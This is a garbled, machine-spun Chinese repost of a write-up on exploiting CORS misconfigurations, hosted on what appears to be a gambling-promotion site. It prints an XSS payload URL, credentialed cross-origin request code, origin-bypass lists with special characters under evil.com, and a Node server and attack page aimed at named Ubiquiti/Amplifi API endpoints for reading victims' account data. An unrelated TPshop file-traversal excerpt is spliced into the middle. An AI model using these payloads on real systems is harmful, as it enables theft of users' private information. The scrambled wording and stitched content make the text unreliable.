Advanced CORS Exploitation Techniques | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Advanced CORS Exploitation Techniques

申博_安全防护 申博 83次浏览 未收录 0个评论

Advanced CORS Exploitation Techniques

直入主题,本文我会引见怎样去应用毛病的CORS设置装备摆设去搞事变。

第一种就是通例的XSS,第二种是基于先进的CORS手艺。

第一种状况

进击点

一年前,我正在进击HackerOne主理的一个私家项目。在HTTP要求中运用Origin标识头后,然后搜检服务器响应以搜检它们是不是举行域名白名单搜检,我注意到应用顺序只是盲目地将子域列入白名单,以至是一些不存在的子域。

出于隐私缘由和其他政策,我们假定Web应用顺序托管在:www.redacted.com

这个CORS设置装备摆设毛病看起来像如许:

HTTP Request:

GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close

HTTP Response:

HTTP/1.1 200 OK
Access-control-allow-credentials: true
 Access-control-allow-origin: evil.redacted.com

此API端点返回用户的私家信息,如全名,电子邮件地址,….

为了充分应用这类毛病设置装备摆设,以便我们能够实行进击,比方泄漏用户的私家信息,我们须要声明一个被烧毁的子域(子域名接收),或许在现有子域的中找到一个XSS。

施展想象力,不要局限性思索

找到一个人家不要的子域并非那末简朴,以是我决议挑选第二个选项,在一个现有的子域中找到一个XSS。然则,这个顺序的局限仅限于:www.redacted.com,这意味着在其他子域中查找XSS肯定不在局限内,然则将此XSS与CORS结合起来在某种程度上也是在Scope中。对吗?

并且,其他子域超出局限的这个音讯是让我更有自信心的缘由,由于其他黑客不会测试它们,因而很有可能在这些子域上找到XSS。
以是,我最先寻觅这个XSS,心中充满希望地找到它,并且在不到一个小时的时间里,我在banques.redacted.com找到了一个,运用以下payload:

https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

Advanced CORS Exploitation Techniques

这时候能够作为poc提交了。

再次应用

因而,要应用此CORS破绽,我们只须要运用以下代码替换称本身的XSS Payload : alert(document.domain)

function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.redacted.com/api/return", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();

继承:

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

胜利应用
Advanced CORS Exploitation Techniques

奖金
Advanced CORS Exploitation Techniques

如今,若是我告诉您,您依然能够应用此题目而无需在任何现有子域中找到XSS,或声已不要的子域,那该怎样办?

这正是我们将在第二种状况下议论的内容。

第二种应用要领

进击点

这一次,我正在研讨Ubnt顺序,尤其是托管在以下网址的应用顺序:https://protect.ubnt.com/

和上次一样,我找到一个api接口,并且存在CORS

https://client.amplifi.com/api/user/

Advanced CORS Exploitation Techniques

并且,正如我们之前议论的那样,要应用这类CORS毛病设置装备摆设,您须要找到一个烧毁的子域名,或许在一个现有的子域中找到XSS。

由于这是一个公然的设计,局限很广(一切子域都在局限内); 找到XSS的可能性很小,以至没有提到子域名接收破绽。

某shop 前台文件遍历&SSRF组合拳

0x01 前言 TPshop是国内应用范围大、覆盖面广的电商软件产品,基于此,历经5年的时间,而发展成为国内先进的具备成熟且标准化的电商平台技术解决方案提供商。“TPshop” 的每一次新产品发布都引带头中国电商软件研发领域的潮流,持续为中国电子商务服务行业。同时公司建立了由多名科学家构成的行业及技术研究中心,对电商行业发展趋势、软件产品架构、技术性、新技术应用与创新等都做出了卓越贡献。 0x02 分析 前台文件遍历 定位到/application/home/controller/Uploadify.php中的fileList方法 流程分析: 79 Line: 将用户传入的type赋值给变量$type
80~86 Line: 将变量$type带入swtch语句中,也就是设置获取文件的后缀是啥,这里随便输入一个就可以了
88 Line: 将cookie中的user_id、以及用户传入的path拼接到路径字符串中并赋值给$path
89 Line: 定义变量$listSize并将100000赋值给变量
90 Line: 定义变量$key并将get传入的key的值赋值给变量
93 Line: 定义变量$size并赋值
94 Line: 定义变量$start并赋值
95 Line: 定义变量$end并将$start + $size的值赋值给变量
98 Line: 将变量$path, $allowFiles, $key传入方法getfiles中 getfiles方法: 可以看到getfiles方法中并未进

那末,我们没办法了吗?

Advanced CORS Exploitation Techniques

嗯,事实证明,另有另外一种体式格局,但它须要肯定的前提能力实行。

Corban Leo近来做的一项风趣的研讨能够在这里找到。能够绕过域名中运用特别字符毛病完成的某些控件。

此研讨基于以下前提:

  • 浏览器在发出要求之前其实不老是考证域名。因而,若是运用某些特别字符,浏览器今后能够提交要求,而无需事前考证域名是不是有用和存在。

例:
先完整明白这个玩意,让我们实验翻开一个包罗特别字符的URL,比方:http://asdf+=.withgoogle.com。 大多数浏览器会在发出任何要求之前考证域名。 **Chrome:** 域名withgoogle.com`用来作演示,由于它有一个通配符DNS纪录
Advanced CORS Exploitation Techniques

Firefox:
Advanced CORS Exploitation Techniques

Safari:
Advanced CORS Exploitation Techniques
Safari是一个破例,它现实上会发送要求并实验加载页面,这与其他浏览器分歧。

我们能够运用种种分歧的标记,以至是弗成打印的标记:

,&'";!$^*()+=`~-_=|{}%

// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

另外,Davide Danelon完成的另外一项研讨能够在这里找到,注解这些特别字符的其他子集也可用于其他浏览器。

Advanced CORS Exploitation Techniques

如今,我们晓得这些今后,我们怎样应用这个题目来实行高等CORS应用手艺,为了一个很好的演示,让我们回到易受进击的Web应用顺序:https://client.amplifi.com/

新要领

在这类状况下,Web应用顺序还接收以下Origin * .ubnt.com!.evil.com

Advanced CORS Exploitation Techniques
不只是字符,还包罗以下字符:

*.ubnt.com!.evil.com 
*.ubnt.com".evil.com 
*.ubnt.com$.evil.com 
*.ubnt.com%0b.evil.com 
*.ubnt.com%60.evil.com 
*.ubnt.com&.evil.com 
*.ubnt.com'.evil.com 
*.ubnt.com(.evil.com 
*.ubnt.com).evil.com 
*.ubnt.com*.evil.com 
*.ubnt.com,.evil.com 
*.ubnt.com;.evil.com 
*.ubnt.com=.evil.com 
*.ubnt.com^.evil.com 
*.ubnt.com`.evil.com 
*.ubnt.com{.evil.com 
*.ubnt.com|.evil.com 
*.ubnt.com}.evil.com 
*.ubnt.com~.evil.com

您如今应当晓得某些浏览器(比方Safari)接收具有特别字符的URL,比方:https://zzzz.ubnt.com=.evil.com

因而,若是我们竖立一个域名:evil.com,带有通配符DNS纪录,许可将一切子域名(* .evil.com)指向www.evil.com,这将在以下页面中托管剧本:www.evil.com/cors-poc,它只是将带有子域名的跨域要求作为原始值发送给进击目的。
然后我们以某种体式格局使经由身份考证的用户翻开链接:
https://zzzz.ubnt.com=.evil.com/cors-poc
从理论上讲,我们能够将这个用户的私家信息泄漏进来。

复现

起首,设置一个带有通配符DNS纪录的域,将其指向您的vps,在我的状况下,我运用GoDaddy来托管我的域,具有以下设置装备摆设:
Advanced CORS Exploitation Techniques

2.装置NodeJS,建立一个新目次,然后在其中生存以下文件:

serve.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80

http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

3.在统一目次中,生存以下内容:

cors.html

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

4.运转以下敕令启动NodeJS服务器:

node serve.js &

5.如今,登录到https://protect.ubnt.com/上的应用顺序,并搜检您是不是能够从api检索您的帐户信息:https://client.amplifi.com/api/user/

6.翻开链接 https://zzzz.ubnt.com=.evil.com/cors-poc
在我的状况下,我运用我的iPhone中的Safari浏览器作为PoC,由于我没有Mac。

Advanced CORS Exploitation Techniques
Advanced CORS Exploitation Techniques

结语

你要记着,不要在圈内思索。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Advanced CORS Exploitation Techniques
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址